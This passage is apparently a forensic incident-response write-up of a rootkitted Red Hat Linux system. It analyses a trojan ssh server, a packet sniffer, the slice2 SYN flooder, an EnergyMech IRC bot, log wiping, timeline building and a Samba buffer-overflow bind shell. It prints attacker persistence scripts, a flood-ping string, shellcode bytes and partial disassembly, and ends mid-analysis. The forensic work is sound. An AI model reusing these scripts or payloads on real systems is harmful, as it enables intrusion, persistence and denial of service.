This is another script "Made By ICE". It is shown in Appendix C. The first thing it does is look for the compiler on the system. After it finds one, it changes the ownership to root of all the files in the directory containing the files in this rootkit. It then stops the portmap service. That will impede the usage of services, such as NFS, which are used to share files between systems. This could make it harder to notice or fix a problem caused by this hacker. Next, the script uses the "chattr" command to unset all of the attributes on the programs located in the directories /bin, /usr/bin, /sbin, /usr/sbin. The script then sets all of the files in the current directory to be able to execute (run). If chattr doesn't exist on the system, the rootkit provides it in a file called chattr.tgz, and chattr is installed in the /usr/bin directory. The ".tgz" file ending signifies a compressed archive, so chattr.tgz is probably the name of the now-deleted file which contained the contents we found in some data blocks earlier. So even though the file was deleted, we now know its name and what it probably contained. The script next checks if wget is installed on the system. If it isn't, the script installs

the one provided in the file wget.tgz. Similar to chattr.tgz, wget.tgz is probably the name of the file containing the archive data we found previously for wget. Next on the list is pico. If pico isn't installed on the system, the script installs it from the file pico.tgz. We also found the probable contents of pico.tgz earlier. The next thing the script does is change the access time and modification time on new versions of netstat, ps, ls, and top to match those currently installed on the system. Changing the times would make it harder to tell at a glance using the "ls" or "find" command that the files have been changed. Fortunately, we already discovered that these four programs have been replaced. The script now makes a directory called /usr/lib/libshtift and moves these found programs into that directory. The new versions are then moved in place of the old versions. We will investigate the /usr/lib/libshtift directory shortly. After that, the files ".ttyop", ".ttyof", and ".ttyoa" are installed in the /dev directory as /dev/ttyop, /dev/ttyof, and /dev/ttyoa. The script copies two programs named sense and sl2 to the /usr/bin directory. Then it modifies a system startup file called /etc/rc.d/init.d/functions by adding a command at the end: "/usr/bin/crontabs -t1 -X53 -p". It then moves a command script called crontabs to the /usr/bin directory and sets it to be executable. Next, the install script runs a program called ava. We don't know for sure yet, but it could be the program we found which installed and ran the trojan ssh server. The MAC times on the associated files may verify this for us. The script then takes a source code file named "kde.c", compiles it, and names the resulting program "(swapd)". The only source code we've found so far is for the sniffer, so that may be what kde.c is. Again, the timeline of MAC times may verify this. The "(swapd)" name is well-picked by the hacker because it will blend in well with the kernel memory management processes that run with that same name. This is a good example of how hackers hide in their stolen environment and avoid detection. The script installs this new program in /usr/bin, and then it runs the /usr/bin/crontabs script which is shown below.

```
gizmo# cat /mnt/linux/usr/bin/crontabs
#!/bin/sh
"smbd -D"
kill -9 `cat /usr/lib/swap.p`
"(swapd)" &
```

This "crontabs" script starts the trojan ssh server named "smbd -D". We determined earlier that the swap.p file holds the process ID of the sniffer. So if the sniffer is running, this kill command will send a signal to the process which will cause the process to stop and be cleaned up by the operating system. After the sniffer is killed, crontabs starts the "(swapd)" program. This is also a clue that this "(swapd)" refers to the sniffer program. So essentially, "crontabs" is just stopping and restarting the sniffer.

The install script continues by running a script called "sysinfo" and saving the output in a file called "informatii". The install script then runs another script provided with the rootkit, called mail, but we can't tell yet exactly what it does. Following this, the install script emails the informatii file to 3rdparty@3rdparty.org and swatplecat@somelargeisp.com with a subject line of "Swat Root". The

output of the information gathering script we found earlier seems to match up with the contents of the email that bounced back to root. That email bounced back shortly after email was sent to 3rdparty@3rdparty.org and swatplecat@somelargeisp.com, so I think it's safe to assume that the sysinfo script being run here is the same information gathering script from earlier.

The install script now creates a directory named /dev/hpd if the directory doesn't already exist. It then removes many of the log files from /var/log, including anything starting with "mes", "sec", "boot", or "xp". After that, it restarts the syslog daemon. So what has just happened is that the script has removed many of the important logs in the /var/log directory and then restarted the syslog daemon that writes those logs so that daemon will start writing to new files. The result is that logs continue to be generated so that nothing seems amiss, but all of the history in past logs has now been deleted. This could explain why we found earlier that /var/log/messages only went back to 6:29AM on June 28th, and syslog had been restarted at that same time.

The install script next runs chattr again in order to set all of the possible attributes on the files in the directories /bin and /sbin, as well as on the files /usr/bin/sense, /usr/bin/top, and the ttyop, ttyoa, and ttyof files installed in the /dev directory. The script then finishes up by removing the entire directory it has been working out of, called "swat", including all of the files in the directory. From what we know so far, we can assume that the inode 150779 pointed to this directory, called "swat", and that the files in this directory were the contents of a rootkit.

The scripts that we just examined have given us the names of some more files to examine. First is the directory /usr/lib/libshtift. This directory contains the programs ls, netstat, ps, and top. According to the script we just read, these are the original versions of these commands that are installed with the operating system.

```
gizmo% ls /mnt/linux/usr/lib/libshtift/
ls  netstat  ps  top
```

Next is the file /usr/bin/sense. By viewing this file, I can tell that it is a Perl script, and by the comments in the code inside, the script appears to be a filter for the "LinSniffer", which I assume is the name of the sniffer we've already run into.

The other file mentioned is /usr/bin/sl2. This is a binary program so it's hard to tell what it does exactly, but we can use strings to gather enough data to make an educated guess.

```
gizmo% strings /mnt/linux/usr/bin/sl2
Usage: %s srcaddr dstaddr low high
    If srcaddr is 0, random addresses will be used
socket
%i.%i.%i.%i
High port must be greater than Low port.
slice2.c
send_tcp_segment
```

```
srcport
spoof_open
```

I do a google search on "slice2.c", and that takes me to a link to a web page of a Honeynet Challenge submission which talks about slice2.c. That page describes slice2 as "SYN flooder attacks a target on a range of ports at the same time by forking several flooding processes. Spoofs source address." The link to the source code from that page doesn't currently work, but google shows a link to another web page from the same submission that shows the strings from that program. The list of strings on that web page matches up with the strings that I found, so we can conclude that this program called sl2 is used to perform a Denial of Service (DOS) attack on another computer on the Internet. We have some evidence so far of an IRC Bot being used so it could be possible that the hacker means to use many of the machines he's broken into for a wide-scale attack on the system of his choice on the Internet.

Lastly, the script mentions a directory called /dev/hpd. A recursive listing of this directory shows many files:

```
gizmo% ls -la /mnt/linux/dev/hpd/
total 88
drwxrwxrwx    3 root     root         4096 Jun 28 06:37 .
drwxr-xr-x   18 root     root        77824 Jun 28 06:29 ..
drwxr-xr-x    2 507      507         4096 Jun 28 07:00 palette
gizmo% ls -la /mnt/linux/dev/hpd/palette/
total 224
drwxr-xr-x    2 507      507         4096 Jun 28 07:00 .
drwxrwxrwx    3 root     root        4096 Jun 28 06:37 ..
-rwxr-xr-x    1 507      507         3708 Mar  5  2001 entity-gen
-rw-r--r--    1 507      507          747 Mar  1  2001 entity-gen.c
-rw-r--r--    1 root     root          85 May  9 14:18 host
-rwxr-xr-x    1 507      507          512 May 19  2001 install
-rwxr-xr-x    1 507      507           62 May 19  2001 kswapd
-rw-r--r--    1 507      507        22935 Oct  9  2000 mech.help
-rw-r--r--    1 root     root        1056 Jun 28 13:00 mech.levels
-rw-------    1 root     root           6 Jun 28 07:00 mech.pid
-rw-r--r--    1 root     root         712 Jun 28 13:00 mech.session
-rw-r--r--    1 507      507         1156 May 27 20:09 mech.set
-rwx------    1 507      507       149804 Mar  5  2001 r00t
-rw-r--r--    1 507      507           80 May 19  2001 randlogins
```

This appears to be another package of files that the hacker installed. The first thing we notice in the /dev/hpd directory is another directory named "palette". The palette directory is owned by a user with an ID of 507. Running the find command looking for other files on the system with a UID or a GID of 507 only shows us the list of files we already have.

```
gizmo% find /mnt/linux -uid 507 -o -gid 507
/mnt/linux/dev/hpd/palette
/mnt/linux/dev/hpd/palette/mech.help
/mnt/linux/dev/hpd/palette/mech.set
/mnt/linux/dev/hpd/palette/entity-gen
```

```
/mnt/linux/dev/hpd/palette/randlogins
/mnt/linux/dev/hpd/palette/entity-gen.c
/mnt/linux/dev/hpd/palette/kswapd
/mnt/linux/dev/hpd/palette/install
/mnt/linux/dev/hpd/palette/r00t
```

The entity-gen.c file appears to be the source code for the entity-gen program. Running strings on entity-gen returns strings matching up with the strings in the source code of entity-gen.c. The comments in the source code say that it "Generates a random entity for the bawt". A google search for "mech" shows us a link to the web site "http://www.energymech.net/", which is dedicated to an IRC bot called "EnergyMech". Running strings on the program file called "r00t" shows us that it may be the bot program.

```
gizmo% strings r00t
./mech.set
./mech.session
@ ping -f -s 65000 somelargeisp.com
./mech.help
./mech.levels
./mech.session
:%s 001 %s :Welcome to the Internet Relay Network %s
s!shell@energymech
0!pipe@energymech
%s!telnet@energymech
init: EnergyMech running...
 -v          show EnergyMech version
EnergyMech %s, %s
Compiled on Mar  2 2001 21:38:27
EnergyMech
emech
```

The string referring to somelargeisp.com is a bit disturbing. Running this command, which might be possible automatically from remote control of this bot, would send a flood of very large data packets to somelargeisp.com. The first install script we looked at had a ping to somelargeisp.com, and this bot seems to include a "flood ping" to somelargeisp.com. It looks like the hacker may be planning a DOS attack against somelargeisp.com.

The mech.help file contains a list of help messages for the bot, and the mech.set file contains various configuration options for the bot, including a list of IRC servers to connect to.

kswapd is a script which starts the mech bot.

```
gizmo% cat kswapd
DIR=`pwd`
cd /usr/sbin
/usr/sbin/mech >/dev/null 2>&1
cd $DIR
```

There is also an install script in this directory for this package of files.

```
gizmo% cat install
#!/bin/sh
cl="ESC[0m"
cyn="ESC[36m"
wht="ESC[37m"
hcyn="ESC[1;36m"
echo "${cl}${cyn}|${cl}${hcyn}-- ${cl}${hwht}Installing
mech...${cl}${wht}"
./entity-gen >>../install.log
cp -f mech.set /usr/sbin
cp -f mech /usr/sbin/mech
cp -f mech.help /usr/sbin
cp -f host /etc
cp -f kswapd /usr/sbin
echo >>/etc/rc.d/rc.sysinit
echo "Starting kswapd.." >>/etc/rc.d/rc.sysinit
echo "/usr/sbin/kswapd" >>/etc/rc.d/rc.sysinit
echo >>/etc/rc.d/rc.sysinit
/usr/sbin/kswapd
echo "${cl}${cyn}|${cl}${hcyn}-- ${cl}${hwht}Done.${cl}${wht}"
```

The script starts out by creating an entity for the bot to use. Then it installs the mech files in the /usr/sbin directory. It copies the start script for the bot to /usr/sbin, also, and then it modifies the /etc/rc.d/rc.sysinit startup file to start the bot automatically when the system boots. The script finishes by starting the bot up for the first time.

There doesn't seem to be any evidence that the mech IRC bot has been installed. Checking for the files that would be installed by the script doesn't find any of them.

```
gizmo# cd /mnt/linux/dev/hpd/palette/
gizmo# ls -l ../install.log
ls: ../install.log: No such file or directory
gizmo# ls -l /mnt/linux/usr/sbin/mech.set
ls: /mnt/linux/usr/sbin/mech.set: No such file or directory
gizmo# ls -l /mnt/linux/usr/sbin/mech
ls: /mnt/linux/usr/sbin/mech: No such file or directory
gizmo# ls -l /mnt/linux/usr/sbin/mech.help
ls: /mnt/linux/usr/sbin/mech.help: No such file or directory
gizmo# ls -l /mnt/linux/usr/sbin/kswapd
ls: /mnt/linux/usr/sbin/kswapd: No such file or directory
gizmo# egrep kswapd /mnt/linux/etc/rc.d/rc.sysinit
```

Data block 324233 has some more data from a deleted file. This one appears to contain part of the "informatii" file. This block contains the information the sysinfo script was retrieving, and the fragment of this file matches up with the email that bounced to root's mailbox.

The contents of the 22 data blocks starting at block 403577 provide a deleted system log that appears to be an old /var/log/messages file. The log file runs out at 6:29:14 on June 28th, so this seems to correspond to the current

/var/log/messages file, which starts 18 seconds later. The last few lines of this deleted log are helpful here and will be useful in creating a timeline.

```
Jun 28 06:28:49 myhost portmap: portmap shutdown succeeded
Jun 28 06:28:55 myhost smbd -D[29269]: log: Server listening on port
10007.
Jun 28 06:28:55 myhost smbd -D[29269]: log: Generating 768 bit RSA key.
Jun 28 06:29:06 myhost kernel: (swapd) uses obsolete
(PF_INET,SOCK_PACKET)
Jun 28 06:29:06 myhost kernel: eth0: Promiscuous mode enabled.
Jun 28 06:29:06 myhost kernel: device eth0 entered promiscuous mode
Jun 28 06:29:06 myhost smbd -D[29281]: error: bind: Address already in
use
Jun 28 06:29:06 myhost smbd -D[29281]: fatal: Bind to port 10007
failed: Transport endpoint is not connected.
Jun 28 06:29:14 myhost smbd -D[29269]: log: RSA key generation
complete.
```

Starting at data block 404177, we can see the output from the C Pre-Processor of the file "kde.c". This is the first stage of compiling a program written in the C language. We can't see all of CPP's output, but there is enough to match it up with the sniffer source code we found earlier. Additionally, at block 404245, we find part of the assembly code for the sniffer. When compiling a C program, there is another intermediate step where the C instructions have been converted to a lower level language, shown by the "assembly" instructions. The portion of the assembly listing here links it both to the name "kde.c" and the source code we found earlier. We can conclude that the sniffer source code we found came from a file called "kde.c", which was provided in the rootkit we've been examining in these unallocated data blocks.

"lazarus" provided us with links to many other data blocks on the disk, but none of them contained any other information relevant to this investigation.

Making a Timeline

There are several tools that we can use to put together a timeline of what happened. This is possible because each file has three dates associated with it, known as the "MAC times". "M" stands for modification. This is the last time that the contents of a file were modified. "A" stands for access. This is the last time that a file was accessed. This could mean that a text file was read by a program or a directory was listed or a program was run, depending on what type of file we have. Finally, "C" stands for change. This represents the last time that the information about a file in the inode was changed. For a file that no longer exists, this is usually the time it was deleted. By arranging the MAC times of each and every file on the system, as well as deleted inodes and the inodes of "open but removed" files, in chronological order, we can observe certain patterns and behavior on the system.

"mac-robber" is a tool which examines every file on the filesystem and retrieves its MAC times, in addition to other information. Because we're looking at files under /mnt/linux, mac-robber will include that prefix on the files. After the

output is stored in a file, I'll edit the file and use a macro to remove occurrences of /mnt/linux so that we have the correct path names.

```
gizmo# mac-robber /mnt/linux > hda2.m-r
```

"fls" returns the same information as mac-robber, but it does it from a different point of view. Because fls looks at information from the metadata layer, that is it looks at the inode data directly, it will return the information about inodes from recently deleted files, for example.

```
gizmo# fls -f linux-ext3 -r -m / hda2 > hda2.fls
```

Now we have four files with lists of MAC times. We have the two that ils produced earlier, as well as the two most recent from fls and mac-robber.

```
gizmo# cat hda2.ils.[ro] hda2.m-r hda2.fls > hda2.mactimes
```

"fls" and "mac-robber" will have some overlap in their results, so we need to sort the list and remove the duplicates. After that we'll use mactime to generate the timeline, and we'll only ask for dates from January 1st, 2003 and later. (Some files provided at the system install will last have been changed much before the install, so that's why I'll limit the list.)

```
gizmo# cat hda2.mactimes | sort | uniq > hda2.mactimes.sorted
gizmo# mactime -b hda2.mactimes -y 01/01/2003 > hda2.timeline
```

This timeline now contains a nicely formatted list of all the file MAC times in order since January 1st, 2003. I'll intersperse all of the other evidence collected that has times associated with them. I'll also add the evidence without times which we can place relative to a specific time. From this timeline, we should be able to draw a pretty good picture as to what happened. We'll analyze the timeline after we analyze the memory.

Memory Investigation

The system's memory is another place where an investigator can search for evidence. We'll use the proc filesystem to examine certain memory structures in the operating system's kernel. The first is the cmdline file which shows us what options the kernel was booted with. This tells us that our root partition that we want to investigate is /dev/hda2. This confirms the information we have been working from.

```
gizmo% cat /proc/cmdline
initrd=initrd.img BOOT_IMAGE=vmlinuz boot=/dev/hda root=/dev/hda2
init=/sbin/init
```

We can also get information from the system about the hard drive that it's using. This information should match up with the information I collected earlier from the victim computer, and it does.

```
gizmo% cat /proc/ide/ide0/hda/model
WDC AC22500L
gizmo% cat /proc/ide/ide0/hda/settings
name              value           min             max             mode
----              -----           ---             ---             ----
bios_cyl           4960            0               65535           rw
bios_head          16              0               255             rw
bios_sect          63              0               63              rw
```

The modules file shows us the kernel modules that are loaded on the system. All of these modules should be familiar to us, and they are. New rootkits exist that are implemented as kernel modules. The modules changes the way the kernel behaves in order to give the hacker access to the system and hide his existence while he is using the system. A couple of programs exist today which can check the kernel's memory for the existence of a loadable kernel module rootkit, but this is very hard to check for when the system is no longer running. And it's nearly impossible if the system's not running and one doesn't have some kind of record of the contents of the kernel memory from when the system was running. This list of modules could have been tampered with by a module in the kernel in order to hide itself, but we don't have an easy way to check that at this point in time.

```
gizmo% cat /proc/modules
vfat                    9008   0 (autoclean)
fat                    31392   0 (autoclean) [vfat]
iptable_filter          2128   0 (autoclean) (unused)
ip_tables              10944   1 [iptable_filter]
nfs                    78208   1 (autoclean)
nfsd                   69216   8 (autoclean)
lockd                  51792   1 (autoclean) [nfs nfsd]
sunrpc                 62640   1 (autoclean) [nfs nfsd lockd]
iscsi                  21664   0
autofs                 11232   0 (autoclean) (unused)
tulip                  37696   1
ext3                   61936   2
jbd                    38976   2 [ext3]
aic7xxx               107216   0
sd_mod                 11552   0 (unused)
scsi_mod               92176   3 [iscsi aic7xxx sd_mod]
```

The mounts file shows us the filesystems that are mounted on the system. That list tells us which disk partitions we need to investigate. The first partition, "/dev/root", we know by the kernel boot options refers to "/dev/hda2", and that's the partition we've been investigating. "/dev/hda1" is also mounted, but this partition doesn't seem to have any evidence on it. The other filesystems listed are virtual filesystems. We have the /proc filesystem and are investigating it now.

```
gizmo% cat /proc/mounts
/dev/root / ext3 rw 0 0
/proc /proc proc rw 0 0
/dev/hda1 /boot ext3 rw 0 0
none /dev/pts devpts rw 0 0
none /dev/shm tmpfs rw 0 0
```

We can get a list of swap partitions that are in use from the swaps file. Swap partitions are used as virtual memory by the kernel so that it can use more memory space than it otherwise physically has available as system RAM, the hardware memory chips in the computer. When the kernel runs out of physical, or real, memory, it moves some of the contents of real memory to the swap partition. When it needs the memory stored on the swap partition, it moves the data back into real memory, or "swaps it back in". I don't know of a good way to analyze the swap partition other than to run strings on it to look for interesting data.

```
gizmo% cat /proc/swaps
[mike@gizmo proc]# cat swaps
Filename                        Type            Size    Used
Priority
/dev/hda3                       partition       204616  18980   -1
```

The version file is another place from which we can get the version of the operating system we're running. This can help in certain aspects of the investigation, in that we know what to expect as normal from a specific version of the operating system.

```
gizmo% cat version
Linux version 2.4.7-10 (bhcompile@stripples.devel.redhat.com) (gcc
version 2.96 20000731 (Red Hat Linux 7.1 2.96-98)) #1 Thu Sep 6
17:21:28 EDT 2001
```

Some of the most useful information in the proc filesystem is in the process directories. Each process on the system has its own directory named with the process ID of the process. In these directories are several files that give information about the process.

By running the following script, we can get the command line used to start the process. The options on the command line are separated not by spaces, but by "NUL" characters. We need to convert those NULs to spaces so that we can tell the difference between the command name and the individual arguments. I'm only included the results for the processes which are interesting to this investigation.

```
gizmo% foreach file ( [1-9]* )
foreach? echo $file
foreach? cat $file/cmdline | tr '\0' ' '
foreach? echo " "
```

```
foreach? end

25599
0Í1À1ÛPPWá³°fÍÆ1À1Û°aÍ9Ãu@1Àû°eÍ1À1Éó°?Í1ÀA°?Í1ÀA°?Í1ÀPh//shh/binãTPSá°

Í1À@Í1Àó°eÍë
29540
./r00t
29283
(swapd)
29419
(swapd)
29420
(swapd)
29484
(swapd)
29485
(swapd)
9815
smbd -D
29269
smbd -D
```

We can see from the the current working directory (cwd) of process 29540 and from the file named "exe", which tells us where the program for this process came from, that this is the EnergyMech IRC bot running. It most likely was started directly because we couldn't show that the install script had been run at all.

```
gizmo% cd 29540
gizmo% ls
cmdline  cwd  environ  exe  fd/  maps  mem  root  stat  statm  status
gizmo% cat cwd
/dev/hpd/palette
gizmo% cat environ | tr '\0' '\n'
PWD=/dev/hpd/palette
_=./r00t
OLDPWD=/dev/hpd
gizmo% cat exe
/dev/hpd/palette/r00t
```

The hacker has gone to some length to disguise process 29269. The file "cmdline" shows us how the program was called.

```
gizmo% cd /proc/29269
gizmo% cat cmdline
smbd -D
```

This corresponds with what we found in the /var/log/messages file. If we look at the cwd file, which shows the current working directory, we see the path "/", which is the root of the directory heirarchy. We can find the ID of the real Samba process by looking at the file "/var/cache/samba/smbd.pid". Many of the

startup scripts save the process IDs of the programs they start so that the program can be referenced easily and stopped at a later time. If we examine this real smbd process, we see that it has a cwd of "/etc/rc.d/rc3.d". This directory is where many programs are started from when the system boots, but it doesn't match with the "/" we found for the "smbd -D" program. We can find out if smbd changes directories while it runs by running strings on the program file and looking for "chdir" which is the library function for changing directories. The absence of this particular string doesn't prove the negative, especially if the program is statically-linked and stripped. Statically linking the program would cause it to contain all the library functions it needs instead of loaded them when the program starts. Stripping the file would cause the textual symbols to be removed. But the presence of the "chdir" string tells us that the Samba server may very well change directories at points while it's running. This could make sense because Samba is a file sharing service and shares files from different directories.

```
gizmo% cat /mnt/linux/var/cache/samba/smbd.pid
9815
gizmo% cd /proc/9815
gizmo% cat cwd
/etc/rc.d/rc3.d
gizmo% strings /usr/sbin/smbd | egrep chdir
chdir
NULL pointer passed to vfswrap_chdir()
chdir (%s) failed
```

The clue that adds another reason for us to believe that 29269 is not a Samba process is in its environment variables.

```
cat environ | tr '\0' '\n'
PWD=/tmp/swat
HOSTNAME=myhost
MACHTYPE=i386-redhat-linux-gnu
SHLVL=3
_=/usr/bin/smbd -D
SHELL=/bin/bash
HOSTTYPE=i386
OSTYPE=linux-gnu
TERM=dumb
PATH=/usr/local/bin:/bin:/usr/bin
```

The present working directory, in the variable "PWD", shows the directory that the program started out of. In this case we see "/tmp/swat". Normal system programs are never stored under the /tmp directory because /tmp is a directory for temporary files. A program that runs every time the system boots would definitely not be temporary. While investigating the disk data, we found that a rootkit was unpacked in a directory called "swat", which is probably the same swat directory here under /tmp. This tells us that this process is from the rootkit

and not the real process. As a comparison, the PWD from the real smbd process is "/etc/rc3.d".

```
gizmo% cd /proc/9815
gizmo% cat environ | tr '\0' '\n' | egrep PWD
PWD=/etc/rc3.d
```

Next, we'll look at the list of file descriptors that this trojan smbd process is using. File descriptors are the keys a process uses to reference connections to open files, pipes for communicating with other programs, and sockets for communicating over the network. In this case we see that process 29269 has 22 file descriptors open. This is a larger number than average for programs running on a system.

```
gizmo% cd /proc/29269/fd
gizmo% ls
0  1  10  11  12  13  14  15  16  17  18  19  2  20  21  3  4  5  6  7
8  9
gizmo%
```

Each file descriptor listed in the proc filesystem is a virtual file that we can look at to find out what it's connected to. File descriptors 4, 6, 7, 8, 9, 13, 14, 15, 16, and 20 are interesting because they refer to files that the real samba server would use.

```
gizmo% cat 4
/etc/samba/secrets.tdb
gizmo% cat 6
/var/cache/samba/smbd.pid
gizmo% cat 7
/var/cache/samba/messages.tdb
gizmo% cat 8
/var/cache/samba/connections.tdb
gizmo% cat 9
/var/cache/samba/brlock.tdb
gizmo% cat 13
/var/cache/samba/locking.tdb
gizmo% cat 14
/var/cache/samba/printing.tdb
gizmo% cat 15
/var/cache/samba/ntdrivers.tdb
gizmo% cat 16
/var/cache/samba/share_info.tdb
gizmo% cat 20
/var/log/samba/smbd.log
```

Because we don't know what this trojan smbd program is doing, we may have reason to doubt the validity of the data in these files, but the data in these files seems to corroborate the evidence we already have. While we're looking, we'll note that the /var/cache/samba/connections.tdb file shows many

connections from IP address 10.11.12.197. We can use "grep" to grab the strings with this IP address and then use "wc" to cound the number of matches.

```
gizmo% strings /mnt/linux/var/cache/samba/connections.tdb | egrep
10.11.12.197 | wc -l
38
```

This shows that there have been 38 connections from the IP address 10.11.12.197.

Two other file descriptors are relevant here.

```
gizmo% cat 17
socket:[59773]
gizmo% cat 21
socket:[59150]
gizmo% egrep 59773\|59150 /proc/net/tcp
  22: 00000000:2717 00000000:0000 0A 00000000:00000000 00:00000000
00000000     0        0 59773 1 c3881060 300 0 0 2 -1
  29: 488781D8:B0EF C52F3C3D:DF23 08 00000000:00000000 00:00000000
00000000    99        0 59150 1 c2f27080 56 4 0 2 -1
```

The virtual inodes for the sockets listed in the file descriptor files correspond to two sockets listed in /proc/net/tcp, which is the file that lists all network sockets. The second and third columns of this data show us the address and port associates for the local and remote ends of two TCP connections. The first line shows a socket listening on TCP port 10007 for connections from anywhere. This matches up with everything we know so far about this fake samba server which says that it's really a ssh server listening for connections on TCP port 10007. The second line shows a connection to port 45295 from the address IP 10.11.12.197. That's the second time we've seen that IP address, and we also saw the port 45295 listed in the bounced email. That email showed that process 25599 was listening on that port. We'll examine process 25599 shortly.

Because we have the data from the proc filesystem mounted in our unsafe environment, we can use the commands that parse through some of that data, for example, netstat. We know that the real netstat has been moved so we'll use that one instead of the trojan one.

```
unsafe# /usr/lib/libshtift/netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address  Foreign Address          State
tcp        0      0 0.0.0.0:45295  0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:10007  0.0.0.0:*               LISTEN
tcp        0      1 192.168.20.72:1579 172.17.50.250:6060SYN_SENT
tcp        0      0 192.168.20.72:45295  10.11.12.197:57123  CLOSE_WAIT
tcp        0   4096 192.168.20.72:1580   192.168.20.2:1025  ESTABLISHED
```

Five lines from the netstat output are interesting. The first one shows a TCP socket listening on port 45295, which we discussed above. The second line shows a TCP socket listening on port 10007. We know this is the trojan ssh server. The third line shows a connection attempt from the victim system to another system with the address 172.17.50.250 on port 6060. This matches up with the list of IRC servers we recovered from data block 220041, so this is probably the IRC bot trying to connect to IRC servers. The fourth line shows the connection from the IP address 10.11.12.197 to port 45295 on our system. The final line shows my connection to the forensics workstation where I used procget to transfer the data from the proc filesystem.

```
unsafe# /usr/lib/libshtift/ps -deaf
UID        PID  PPID  C STIME TTY          TIME CMD
nobody   25599  9815  0 Aug23 ?        00:00:00
0Í?1À1ÛPPW?á³?°fÍ??Æ1À1Û°?Í?9Ãu@1À?û°?Í?1À1É?ó°?Í?1ÀA°?Í?1ÀA°
root     29269     1  0 05:25 ?        00:00:21 smbd -D
root     29283     1  0 04:12 ?        00:00:00 (swapd)
root     29419     1  0 04:15 ?        00:00:00 (swapd)
root     29420     1  0 04:15 ?        00:00:00 (swapd)
root     29484     1  0 04:29 ?        00:00:00 (swapd)
root     29485     1  0 05:42 ?        00:00:00 (swapd)
root     29540     1  0 05:57 ?        00:00:00 ./r00t
root     31265 12099  0 11:50 tty1     00:00:00 -bash
root     31350 31265 99 11:56 tty1     00:00:04 ./procget 192.168.20.2
1025
root      9815     1  0 Aug21 ?        00:00:02 smbd -D
```

The "ps" command, which is used to list the processes, gives us more information. The mysterious process with the PID of 25599 was forked by the process 9815, which is the real samba server. That could tell us that someone did something bad to samba. The process with ID 29269 is the fake samba server, which is really a trojan ssh server. Process 29485 is the sniffer, cleverly named to hide with the real swapd processes, which have IDs 29283, 29419, 29420, and 29484. Process 29540 is r00t, which we identified as the EnergyMech IRC bot. Process 31265 is my shell from when I logged into start collecting evidence, and 31350 shows procget running to transfer the data in the proc filesystem to my forensics workstation.

We'll now examine process 25599. We can see right away that something is wrong with it. It's abnormal for a process name to be made up of what appear to be non-ASCII characters, and the string "//shh/bin" towards the end gives us reason to believe that this process fell victim to a buffer overflow attack. A buffer overflow attack is one where an attacker exploits poor bounds checking on a buffer in a program. He overfills the buffer with specific data, and the surplus of data ends up overwriting part of the program's executing code. This overfilling is done in such a way so as to cause specifically crafted instruction sequences in the attacker's data to execute. This allows the attacker to run any commands he wants to on the victim system. The second thing we notice is that the process was originally started from the /usr/sbin/smbd file. smbd is the Samba server,

which allows for example, Linux workstations to exchange files with Windows workstations. The current working directory (cwd) is "/tmp".

```
gizmo% cd /proc/25599
gizmo% ls
cmdline  cwd  environ  exe  fd/  maps  mem  root  stat  statm  status
gizmo% cat exe
/usr/sbin/smbd
gizmo% cat cwd
/tmp
```

In the real Samba process, we found the cwd to be "/etc/rc.d/rc3.d", but we also found that Samba might use chdir to change directories. If a hacker has hijacked this program and is using it to run commands, he may have changed directories to /tmp, which would tell us to look for files in that directory. This correlates the "swat" directory that the rootkit was unpacked in with the "/tmp/swat" directory used by process 29269.

Next, we look at the environment variables that are passed to the process. This isn't good either. Something bad has happened to this process.

```
gizmo% cat environ
PWá³°fÍÆ1À1Û°aÍ9Ãu@1Àû°eÍ1À1Éó°?Í1ÀA°?Í1ÀA°?Í1ÀPh//shh/binãTPSá°

Í1À@Í1Ào°eÍë
```

Now we search through /proc/kcore to find more of this buffer. /proc/kcore is a virtual file containing the kernel's memory so it will have the entirety of the buffer. By searching on the string "//shh/bin", I find more data than what we see in the environ file. One thing that makes this chunk of data stand out is that there are long strings of the hexadecimal number 0x90 before and after this data. This number corresponds with the machine instruction for NOP, which stands for "No Operation". That means when the computer's processor encounters this instruction, it won't manipulate any data, and it will then go on to the next instruction. When talking about buffer overflow exploits, this is known as a "NOP slide". When a buffer overflows and overwrites the stack of instruction call data, one doesn't know exactly where the program execution will continue. For this reason, a hacker preceeds his exploit code with a NOP slide to maximize the chance that the program execution will start somewhere inside the buffer he has overflowed. We know what the NOP slide does so now we need to figure out what this particular exploit does.

I used gdb to disassemble the instructions in this buffer. By disassembling the instructions in order to make the machine instructions readable by a person, one can analyze what the buffer overflow was meant to do. Often, hackers will use such code to execute commands on the attacked system or to give them access in a different way in case this hole is closed.

```
0x8049402 <buf+2>:      xor    %eax,%eax
0x8049404 <buf+4>:      xor    %ebx,%ebx
```

```
0x8049406 <buf+6>:      xor    %ecx,%ecx
0x8049408 <buf+8>:      push   %ecx
0x8049409 <buf+9>:      mov    $0x6,%cl
0x804940b <buf+11>:     push   %ecx
0x804940c <buf+12>:     mov    $0x1,%cl
0x804940e <buf+14>:     push   %ecx
0x804940f <buf+15>:     mov    $0x2,%cl
0x8049411 <buf+17>:     push   %ecx
0x8049412 <buf+18>:     mov    %esp,%ecx
0x8049414 <buf+20>:     mov    $0x1,%bl
0x8049416 <buf+22>:     mov    $0x66,%al
0x8049418 <buf+24>:     int    $0x80
```

Here, a TCP socket is created. This is the first step in creating a reliable connection on the Internet. To use an analogy, this is like plugging a phone into the wall socket in a home or office. Like plugging a phone into the wall, creating a socket sets up a communications channel. Where people talk on the phone, programs communicate over sockets.

```
0x804941a <buf+26>:     mov    %eax,%ecx
0x804941c <buf+28>:     xor    %eax,%eax
0x804941e <buf+30>:     xor    %ebx,%ebx
0x8049420 <buf+32>:     push   %eax
0x8049421 <buf+33>:     push   %eax
0x8049422 <buf+34>:     push   %eax
0x8049423 <buf+35>:     pushw  $0xefb0
0x8049427 <buf+39>:     mov    $0x2,%bl
0x8049429 <buf+41>:     push   %bx
0x804942b <buf+43>:     mov    %esp,%edx
0x804942d <buf+45>:     mov    $0x10,%bl
0x804942f <buf+47>:     push   %ebx
0x8049430 <buf+48>:     mov    $0x2,%bl
0x8049432 <buf+50>:     push   %edx
0x8049433 <buf+51>:     push   %ecx
0x8049434 <buf+52>:     mov    %ecx,%edx
0x8049436 <buf+54>:     mov    %esp,%ecx
0x8049438 <buf+56>:     mov    $0x66,%al
0x804943a <buf+58>:     int    $0x80
```

The next step after creating a socket is to bind it to a specific address and port. Following the same analogy, this would give the phone a number and an extension. A computer connected to the Internet usually has one address associated with it. Here the process binds the socket to port 45295. This is the port we have seen already but had not been able to explain.

```
0x804943c <buf+60>:     xor    %ebx,%ebx
0x804943e <buf+62>:     cmp    %eax,%ebx
